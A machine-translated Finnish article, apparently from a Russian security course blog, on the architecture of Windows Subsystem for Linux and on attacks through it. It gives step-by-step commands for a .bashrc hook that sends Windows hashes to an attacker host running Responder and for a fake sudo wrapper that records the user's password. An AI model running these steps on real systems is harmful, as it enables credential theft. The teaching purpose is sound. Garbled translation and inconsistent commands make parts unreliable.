WSL-kokeet. Osa 1

Hei, habr! OTUS käynnistää uuden kurssivirran lokakuussa "Linux Security". Kurssin alkua odotellessa jaamme kanssasi artikkelin, jonka on kirjoittanut yksi opettajistamme, Alexander Kolesnikov.

WSL-kokeet. Osa 1

Vuonna 2016 Microsoft esitteli uuden WSL-teknologian IT-yhteisölle (Windows Salajärjestelmä Linux), joka mahdollisti tulevaisuudessa yhdistämään aiemmin sovittamattomat kilpailijat, jotka taistelivat suosiosta sekä tavallisten että edistyneiden käyttöjärjestelmän käyttäjien keskuudessa: Windows ja Linux. Tämä tekniikka mahdollisti Linux-käyttöjärjestelmän työkalujen käytön Windows-ympäristössä ilman tarvetta käyttää Linuxia esimerkiksi Multi-bootilla. Habrista löydät suuren määrän artikkeleita, jotka kuvaavat WSL:n käytön etuja. Valitettavasti tämän artikkelin luomisen aikaan tästä resurssista ei kuitenkaan löytynyt tutkimuksia tällaisen käyttöjärjestelmien symbioosin turvallisuudesta. Tämä viesti on yritys korjata tämä. Artikkelissa puhutaan WSL 1- ja 2 -arkkitehtuurien ominaisuuksista ja tarkastellaan useita esimerkkejä hyökkäyksistä näitä tekniikoita käyttäviin järjestelmiin. Artikkeli on jaettu 2 osaan. Ensimmäinen tarjoaa tärkeimmät teoreettiset hyökkäysmenetelmät Linuxista ja Windowsista. Toinen artikkeli sisältää testiympäristön luomisen ja hyökkäysten toistamisen.

WSL 1: arkkitehtoniset piirteet

Jotta WSL-tietoturvakysymyksiin sukeltaa mahdollisimman tarkasti, on tarpeen määrittää osajärjestelmän toteuttamiseen liittyvät tärkeimmät vivahteet. Yksi tärkeimmistä WSL:n ratkaisemista käyttäjätehtävistä on kyky työskennellä Linux-päätteen kautta Windows-käyttöjärjestelmää käyttävällä isännällä. Lisäksi tarjottu yhteensopivuus oli niin natiivi, että Linuxin suoritettavat tiedostot (ELF) voitiin ajaa suoraan Windows-järjestelmässä. Näiden tavoitteiden saavuttamiseksi Windows 10:ssä luotiin erityinen alijärjestelmä, jonka avulla voit ajaa Linux-sovelluksia käyttämällä tiettyjä järjestelmäkutsuja - näin ollen yritettiin kartoittaa joukko Linux-syscalls Windowsissa. Tämä toteutettiin fyysisesti lisäämällä uusia ohjaimia ja uusi prosessimuoto. Visuaalisesti arkkitehtuuri näytti tältä:

WSL-kokeet. Osa 1

Itse asiassa vuorovaikutus Linux-käyttöjärjestelmän kanssa järjestettiin useiden ydinmoduulien ja erityisen prosessin - picon - kautta. Yllä olevasta kaaviosta voit nähdä, että isäntäkoneen Linux-esiintymässä käynnissä olevan prosessin on oltava natiivi ja sen on käytettävä samoja resursseja kuin tavallisten Windows-sovellusten. Mutta miten tämä saavutetaan? Projektissa Laskusilta Windowsille kehitettiin prosessikonsepteja, jotka tarjosivat kaikki käyttöjärjestelmän tarvittavat komponentit (sen versiosta riippuen) toisen käyttöjärjestelmän sovelluksen suorittamiseen.

Huomaa, että ehdotettu abstraktio teki mahdolliseksi olla keskittymättä käyttöjärjestelmään (etenkin Windowsiin), jossa toisen käyttöjärjestelmän prosessin odotetaan käynnistyvän, ja ehdotti yleistä lähestymistapaa.

Siten mikä tahansa pico-prosessin sisällä oleva sovellus voisi toimia Windows-ytimestä riippumatta:

  1. Yhteensopivuus- ja järjestelmäkutsujen kääntämiseen liittyvät ongelmat on ratkaistava erityisten palveluntarjoajien toimesta.
  2. Kulunvalvonta on tehtävä Security Monitorin kautta. Monitori sijaitsee ytimessä ja siksi Windows tarvitsi päivityksen uuden ohjaimen muodossa, joka voisi toimia tällaisten prosessien tarjoajana. Prototyyppi pico -prosessi on esitetty kaavamaisesti alla:

WSL-kokeet. Osa 1

Koska Linux-tiedostojärjestelmä käyttää kirjainkoolla eroteltuja tiedosto- ja hakemistonimiä, Windowsiin lisättiin 2 tyyppistä tiedostojärjestelmää toimimaan WSL:n kanssa - VolFS ja DriveFS. VolFS on Linux-tiedostojärjestelmän toteutus, DriveFS on tiedostojärjestelmä, joka toimii Windowsin sääntöjen mukaan, mutta jolla on kyky valita kirjainkoko.

WSL 2

WSL 1:ssä oli useita rajoituksia, jotka eivät sallineet sen käyttämistä suurimman mahdollisen tehtävien ratkaisemiseen: esimerkiksi sillä ei ollut kykyä ajaa 32-bittisiä Linux-sovelluksia, eikä laiteohjaimien käyttäminen ollut mahdollista. Siksi vuonna 2020 julkaistiin WSL 2, joka muutti lähestymistapaa osajärjestelmän rakentamiseen. WSL 2 on optimoitu virtuaalikone, joka vastaa WSL 1:n resurssien kulutusominaisuuksia. Nyt, riippuen Windows-käyttöjärjestelmän käyttäjän ratkaisemista ongelmista, voit valita tarvittavan version Linux-alijärjestelmästä. Mahdollisten haavoittuvuuksien lieventämiseksi WSL 2 otettiin käyttöön Hyper-V:n pohjalta Windows 10:ssä. Tässä muodossa Windows pystyy ajamaan Linux-käyttöjärjestelmän ydintä erillään. Kannattaa muistaa, että WSL:n versio 1 esiteltiin beta-ominaisuudena, jonka piti näyttää Windowsin kehityksen suunta tällä alueella, joten siirtyminen Hyper-V:hen oli väistämätöntä. Lopullinen arkkitehtuuri näyttää tältä:

WSL-kokeet. Osa 1

Tässä versiossa Windows- ja Linux-ytimillä on omat resurssinsa ja risteys on olemassa vain tiedostojärjestelmässä, mutta tämä leikkaus ei ole täydellinen. Tiedostojärjestelmien välinen vuorovaikutus tapahtuu asiakas-palvelin-kääreen kautta, joka toimii 9P-protokollaa käyttäen.

Nykyään Microsoft tarjoaa mahdollisuuden vaihtaa WSL 1:n ja WSL 2:n välillä. Molemmat versiot ovat käytettävissä.

WSL-suojaus

Tällä hetkellä on useita teoksia, jotka kuvaavat tapoja käyttää laillisia käyttöjärjestelmän työkaluja hyökätäkseen alijärjestelmien väliseen viestintään. Käytämme heidän komentosarjojaan tarkistaaksemme hyökkäysten merkityksen kirjoitushetkellä. Yleinen luettelo hyökkäyksistä ja skenaarioista:

1. Tiedostojärjestelmän toteutus: käyttöoikeudet, jaettujen hakemistojen/tiedonvaihtomekanismien saatavuus.

Tutkimus tehtiin pääsysääntöjen rikkomusten määrittämiseksi Linux FS->Windows FS, Windows FS->Linux FS. Tutkimus on osoittanut kyvyn muokata tiettyä tiedostoa kohdekäyttöjärjestelmässä. Osa tiedostojärjestelmistä yritettiin myös korvata, luoda kaksoiskappaleita ja poistaa.

Skenaario:

  • A. Hyökkäys Windows-käyttöjärjestelmästä - tiedostojen muokkaaminen Linux-käyttöjärjestelmän /etc-hakemistosta.
  • B. Hyökkäys Linux-käyttöjärjestelmästä - tiedostojen muokkaaminen hakemistoissa: C:Windows, C:Program Files, C:Users<User>

2. Verkkopinon toteutus.

Tutkimus toteutettiin käyttämällä esimerkkejä Windows-käyttöjärjestelmän Linux-käyttöjärjestelmän hyökkäyksistä. Käytettiin verkkopinon ominaisuuksia, nimittäin eri resurssien todennusmekanismeja.

Skenaario:

  • Pääsyn avaaminen porttiin, joka on varattu Windows-järjestelmässä
  • Portin avaaminen ilman asianmukaisia ​​oikeuksia
  • Käänteisen kuoren suorittaminen elf-tiedoston avulla Windows-käyttöjärjestelmässä.

3. Haitallisten ohjelmistoprosessien käynnistämisen piilottaminen WSL-alijärjestelmän avulla.

Tutkimus perustui yksinkertaiseen tosiasiaan - tietoturvaalijärjestelmät eivät voi siepata tapahtumia toisessa ytimessä, joka toimii käyttöjärjestelmän laillisen palveluntarjoajan avulla WSL 1:n tapauksessa. WSL 2:n tapauksessa tapahtuvia tapahtumia ei ole mahdollista tarkastella. erillisessä ytimessä kevyessä virtuaalikoneessa.

Skenaario:

1) Käynnistä sovellus järjestelmän etäkäyttöä varten ja tarkastele kirjattuja tapahtumia.

WSL 1 -kokeet: hash sieppaus (Windows)

Lopulta pääsimme käytännön osaan. Ensin sinun on määritettävä testiympäristö. Kaikki kokeet suoritetaan työpenkillä, jossa on asennettuna Windows 10 2004. WSL:n käyttöjärjestelmäkuvaksi valittiin Ubuntu 18.04 -näköistiedosto. Kuva valittiin sattumanvaraisesti, ja mikä tahansa muu kuva toimii samoin. Komennot jalustan pystyttämiseksi:

Sinun on ensin käynnistettävä powershell.exe järjestelmänvalvojana.

WSL 1:lle sinun on suoritettava komennot:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Kun olet käynnistänyt jalustan uudelleen, voit kutsua bash-komennon. Jos kaikki toimi oikein, näet Windows-konsolissa samanlaisen tulosteen:

    WSL-kokeet. Osa 1

    Käytämme Kali Linux -jakelua hyökkääjän koneena; kaikkien koneiden on oltava samassa paikallisessa verkossa.

    Oletetaan, että meillä on etuoikeutettu pääsy WSL:ään Windows-koneessa. Yritetään hyökätä Linux-käyttöjärjestelmää vastaan ​​kutsumalla komento Linuxista. Hyökkäyksen toteuttamiseksi käytämme yksinkertaista automaattista käynnistystekniikkaa - lisäämme skriptimme suoritettavaksi Linux-ympäristössä. Tätä varten sinun on vaihdettava tiedosto .bashrc.

    Koneella, jossa on WSL, suoritamme:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Kali Linux -koneella suoritamme:

    1. Responder -I eth0 -rdvw

    Windows-koneessa käynnistetään bash.

    Odotamme tulosta Kali Linux -koneella:

    WSL-kokeet. Osa 1

    Siten saimme Windows-käyttäjien tiivisteet WSL-alijärjestelmän kautta suorittamalla komennon Linux-järjestelmässä.

    WSL 1 -kokeet: käyttäjän salasanan hankkiminen (Linux OS)

    Tehdään vielä yksi koe. Tämän tarkistuksen aikana lisäämme tiedostoon .bashrc useita komentoja Linux-käyttöjärjestelmän käyttäjän salasanan saamiseksi.

    Käynnistä bash ja kirjoita komennot:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Hyökkäyksen suorittamiseksi onnistuneesti käyttäjän Samin on kutsuttava sudo Linux-päätteessä. Tämän jälkeen Linux-käyttöjärjestelmän käyttäjän salasana on tiedostossa pass.txt:

    WSL-kokeet. Osa 1

    Hyökkäysten toteutus annettiin vain teoreettiseksi tiedoksi.

    Artikkelin seuraavassa osassa kuvataan 9P-protokollan toteutusta, harkitaan skannerin luomista tälle protokollalle ja myös hyökkäys sen avulla.

    Luettelo käytetystä kirjallisuudesta

    WSL-kokeet. Osa 1

    Lue lisää

    Lähde: will.com

    Lisää kommentti